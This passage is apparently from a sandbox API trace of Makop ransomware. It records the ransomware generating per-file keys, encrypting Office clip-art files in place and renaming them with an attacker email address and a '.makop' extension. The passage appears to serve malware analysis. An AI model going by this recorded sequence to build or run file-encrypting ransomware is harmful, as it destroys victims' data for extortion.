Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.778] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.778] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0166.809] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.809] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.809] GetProcessHeap () returned 0x48a0000 [0166.809] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.809] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.809] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.809] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.809] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.809] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.809] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.810] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.810] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.810] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.810] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xea2, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xea2, lpOverlapped=0x0) returned 1 [0166.810] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xeb0) returned 1 [0166.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.811] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xeb0, lpOverlapped=0x0) returned 1 [0166.811] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.811] SetEndOfFile (hFile=0x130) returned 1 [0166.818] GetProcessHeap () returned 0x48a0000 [0166.818] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.818] GetProcessHeap () returned 0x48a0000 [0166.818] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.818] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.818] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.820] CloseHandle (hObject=0x130) returned 1 [0166.820] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc4feb00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc4feb00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18246_.WMF", cAlternateFileName="")) returned 1 [0166.820] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF") returned 70 [0166.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.823] GetProcessHeap () returned 0x48a0000 [0166.823] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.823] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.824] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.828] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.828] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.828] GetProcessHeap () returned 0x48a0000 [0166.828] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.828] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.828] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.828] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.828] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.828] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.829] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.829] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.829] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.829] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.829] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa28, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xa28, lpOverlapped=0x0) returned 1 [0166.829] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xa30, dwBufLen=0xa30 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xa30) returned 1 [0166.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.829] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xa30, lpOverlapped=0x0) returned 1 [0166.830] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.830] SetEndOfFile (hFile=0x130) returned 1 [0166.836] GetProcessHeap () returned 0x48a0000 [0166.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.836] GetProcessHeap () returned 0x48a0000 [0166.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.836] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.838] CloseHandle (hObject=0x130) returned 1 [0166.838] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba237c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xba237c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18247_.WMF", cAlternateFileName="")) returned 1 [0166.838] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF") returned 70 [0166.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.840] GetProcessHeap () returned 0x48a0000 [0166.840] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.840] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.841] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.844] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.844] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.844] GetProcessHeap () returned 0x48a0000 [0166.844] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.845] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.845] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.845] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.845] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.845] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.845] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.845] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.846] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.846] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd68, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xd68, lpOverlapped=0x0) returned 1 [0166.846] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xd70, dwBufLen=0xd70 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xd70) returned 1 [0166.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.846] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xd70, lpOverlapped=0x0) returned 1 [0166.846] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.846] SetEndOfFile (hFile=0x130) returned 1 [0166.852] GetProcessHeap () returned 0x48a0000 [0166.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.852] GetProcessHeap () returned 0x48a0000 [0166.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.852] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.854] CloseHandle (hObject=0x130) returned 1 [0166.854] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd364c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcd364c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18248_.WMF", cAlternateFileName="")) returned 1 [0166.855] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF") returned 70 [0166.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.856] GetProcessHeap () returned 0x48a0000 [0166.856] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.856] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.856] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.856] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.857] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.857] GetProcessHeap () returned 0x48a0000 [0166.857] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.857] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.857] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.857] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.860] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.861] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.861] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.861] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.861] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.861] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.862] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd70, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xd70, lpOverlapped=0x0) returned 1 [0166.862] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xd70, dwBufLen=0xd70 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xd70) returned 1 [0166.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.862] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xd70, lpOverlapped=0x0) returned 1 [0166.862] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.862] SetEndOfFile (hFile=0x130) returned 1 [0166.870] GetProcessHeap () returned 0x48a0000 [0166.870] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.870] GetProcessHeap () returned 0x48a0000 [0166.870] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.870] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.872] CloseHandle (hObject=0x130) returned 1 [0166.872] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2f4300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b2f4300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18249_.WMF", cAlternateFileName="")) returned 1 [0166.872] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF") returned 70 [0166.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 